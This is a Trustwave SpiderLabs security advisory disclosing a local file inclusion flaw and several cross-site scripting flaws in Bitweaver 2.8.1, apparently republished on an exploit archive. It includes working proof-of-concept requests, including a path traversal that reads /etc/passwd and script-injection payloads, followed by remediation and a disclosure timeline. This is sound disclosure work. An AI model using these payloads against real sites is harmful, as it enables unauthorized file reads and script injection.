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Bitweaver 2.8.1 Cross Site Scripting / Local File Inclusion

Bitweaver 2.8.1 Cross Site Scripting / Local File Inclusion
Posted Oct 25, 2012
Authored by Jonathan Claudius, David Aaron | Site trustwave.com

Bitweaver version 2.8.1 suffers from local file inclusion and multiple cross site scripting vulnerabilities.

tags | exploit, local, vulnerability, xss, file inclusion
advisories | CVE-2012-5192, CVE-2012-5193
MD5 | 1cede2c6a508a2da6de216f8ac5c07bd

Bitweaver 2.8.1 Cross Site Scripting / Local File Inclusion

Change Mirror Download
Trustwave SpiderLabs Security Advisory TWSL2012-016:
Multiple Vulnerabilities in Bitweaver

Published: 10/23/2012
Version: 1.0

Vendor: Bitweaver (http://www.bitweaver.org/)
Product: Bitweaver
Version affected: 2.8.1 and earlier versions

Product description:
Bitweaver is a free and open source web application framework and content
management system. Bitweaver is written in PHP and uses Firebird as a
database backend.

Credit: David Aaron and Jonathan Claudius of Trustwave SpiderLabs

Finding 1: Local File Inclusion Vulnerability
CVE: CVE-2012-5192

The 'overlay_type' parameter in the 'gmap/view_overlay.php' page in
Bitweaver is vulnerable to a local file inclusion vulnerability.

This vulnerability can be demonstrated by traversing to a known readable
path on the web server file system.

Example:

Performing LFI on 'overlay_type' parameter

#Request

http://A.B.C.D/bitweaver/gmap/view_overlay.php?overlay_type=..%2F..%2F..%2F..%2F..%2F..%2F..%2F/etc/passwd%00

#Response

root:x:0:0:root:/root:/bin/bash
<snip>

Finding 2: Multiple XSS Vulnerabilities in Bitweaver
CVE: CVE-2012-5193

Multiple cross-site scripting (XSS) vulnerabilities have been discovered
that allow remote unauthenticated users to run arbitrary scripts on the
system.

Example:

The following Proof of Concepts illustrate that Bitweaver 2.8.1 is
vulnerable to XSS.

Example(s):

1. Performing XSS on stats/index.php

#Request

GET /bitweaver/stats/index.php/%22%3E%3Cscript%3Ealert('XSS')%3B%3C%2Fscript%3E HTTP/1.0

#Response

HTTP/1.1 200 OK
Date: Tue, 17 Apr 2012 15:42:34 GMT
Server: Apache/2.2.20 (Ubuntu)
X-Powered-By: PHP/5.3.6-13ubuntu3.6
Set-Cookie: BWSESSION=4gmfnd86ahtvn34v5oejgivvh3; path=/bitweaver/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
[truncated due to length]

2. Performing XSS on /newsletters/edition.php

#Request

GET /bitweaver/newsletters/edition.php/%22%3E%3Cscript%3Ealert('XSS')%3B%3C%2Fscript%3E HTTP/1.0

#Response

HTTP/1.1 200 OK
Date: Tue, 17 Apr 2012 15:42:02 GMT
Server: Apache/2.2.20 (Ubuntu)
X-Powered-By: PHP/5.3.6-13ubuntu3.6
Set-Cookie: BWSESSION=ajdjp797r7atral75rmlhcgs63; path=/bitweaver/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
[truncated due to length]

3. Performing XSS on the 'username' parameter available on /users/

#Request

POST /bitweaver/users/remind_password.php HTTP/1.1
Host: A.B.C.D
Content-Type: application/x-www-form-urlencoded
Content-Length: 192

username=%22%3E%3Cscript%3Ealert('XSS')%3B%3C%2Fscript%3E&remind=Reset+%28password%29

#Response

HTTP/1.1 200 OK
Date: Tue, 17 Apr 2012 15:53:11 GMT
Server: Apache/2.2.20 (Ubuntu)
X-Powered-By: PHP/5.3.6-13ubuntu3.6
Set-Cookie: BWSESSION=i0ktqmt3497thag552t9ds78v4; path=/bitweaver/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Content-Length: 15974
[truncated due to length]

<snip>
Invalid or unknown username: ">alert('XSS');</p></div>Please follow the instructions in the email.
<snip>

4. Performing XSS on the 'days' parameter on /stats/index.php

#Request

POST /bitweaver/stats/index.php HTTP/1.1
Host: A.B.C.D
Content-Type: application/x-www-form-urlencoded
Content-Length: 177

days=%22%3E%3Cscript%3Ealert('XSS')%3B%3C%2Fscript%3E&pv_chart=Display

#Response
HTTP/1.1 200 OK
Date: Tue, 17 Apr 2012 15:55:53 GMT
Server: Apache/2.2.20 (Ubuntu)
X-Powered-By: PHP/5.3.6-13ubuntu3.6
Set-Cookie: BWSESSION=dqdvcnmql8jhngp0tphseh1qh4; path=/bitweaver/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Content-Length: 24778
[truncated due to length]

<snip>
<img src="/stats/pv_chart.php?days="><script>alert('XSS');</script>" alt="Site Usage Statistics" />
<snip>

5. Performing XSS on the 'login' parameter on /users/register.php. (try
entering "><IFRAME src="https://www.trustwave.com" height="1000px"
width="1000px"> into the "Username field"):

http://A.B.C.D/bitweaver/users/register.php


6. Performing XSS on the 'highlight' parameter:

#Request

GET /bitweaver/?highlight=%2522%253E%253Cscript%253Ealert('XSS')%253B%253C%252Fscript%253E HTTP/1.0

#Response

HTTP/1.1 200 OK
Date: Tue, 17 Apr 2012 15:59:09 GMT
Server: Apache/2.2.20 (Ubuntu)
X-Powered-By: PHP/5.3.6-13ubuntu3.6
Set-Cookie: BWSESSION=ama93jqlojmi385plkft5opl64; path=/bitweaver/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
[truncated due to length]

Remediation Steps:
The vendor has released a fix to address the Local File Inclusion
vulnerability (finding 1) and several of the Cross-Site Scripting
vulnerabilities (finding 2) in Bitweaver 3.1. However, additional fixes for
the Cross-site Scripting vulnerabilities were made on commit c3bef6f in the
development branch. Users are recommended to download the latest release
of Bitweaver on http://github.com/bitweaver to address the above issues.

These issue can also be mitigated with the use of technologies, such as Web
Application Firewalls (WAF) or Intrusion Prevention Systems (IPS). Often,
Vulnerability Scanners and Intrusion Detection Systems (IDS) can detect the
presence of Local File Inclusion vulnerabilities and XSS. Trustwave
technologies that address this issue include the following.

ModSecurity (http://www.modsecurity.org/) has added rules to the commercial
rules feed for these issues, available as part of the SpiderLabs
ModSecurity rules feed.

Trustwave's vulnerability scanning solution, TrustKeeper
(https://www.trustwave.com/trustKeeper.php), has been updated to detect
affected versions.

References
http://www.bitweaver.org/
http://blog.spiderlabs.com/

Vendor Communication Timeline:
04/26/12 - Initial communications with vendor
05/14/12 - Vulnerability disclosed to vendor
05/30/12 - Vendor acknowledges version 3.0 fixes issues
06/07/12 - Contact vendor regarding incomplete fixes in 3.0
09/07/12 - Vendor publishes version 3.1
10/10/12 - Contact vendor regarding incomplete fixes in 3.1
10/23/12 - Advisory published

About Trustwave:
Trustwave is the leading provider of on-demand and subscription-based
information security and payment card industry compliance management
solutions to businesses and government entities throughout the world. For
organizations faced with today's challenging data security and compliance
environment, Trustwave provides a unique approach with comprehensive
solutions that include its flagship TrustKeeper compliance management
software and other proprietary security solutions. Trustwave has helped
thousands of organizations--ranging from Fortune 500 businesses and large
financial institutions to small and medium-sized retailers--manage
compliance and secure their network infrastructure, data communications and
critical information assets. Trustwave is headquartered in Chicago with
offices throughout North America, South America, Europe, Africa, China and
Australia. For more information, visit https://www.trustwave.com

About Trustwave SpiderLabs:
SpiderLabs(R) is the advanced security team at Trustwave focused on
application security, incident response, penetration testing, physical
security and security research. The team has performed over a thousand
incident investigations, thousands of penetration tests and hundreds of
application security tests globally. In addition, the SpiderLabs Research
team provides intelligence through bleeding-edge research and proof of
concept tool development to enhance Trustwave's products and services.
https://www.trustwave.com/spiderlabs

Disclaimer:
The information provided in this advisory is provided "as is" without
warranty of any kind. Trustwave disclaims all warranties, either express or
implied, including the warranties of merchantability and fitness for a
particular purpose. In no event shall Trustwave or its suppliers be liable
for any damages whatsoever including direct, indirect, incidental,
consequential, loss of business profits or special damages, even if
Trustwave or its suppliers have been advised of the possibility of such
damages. Some states do not allow the exclusion or limitation of liability
for consequential or incidental damages so the foregoing limitation may not
apply.

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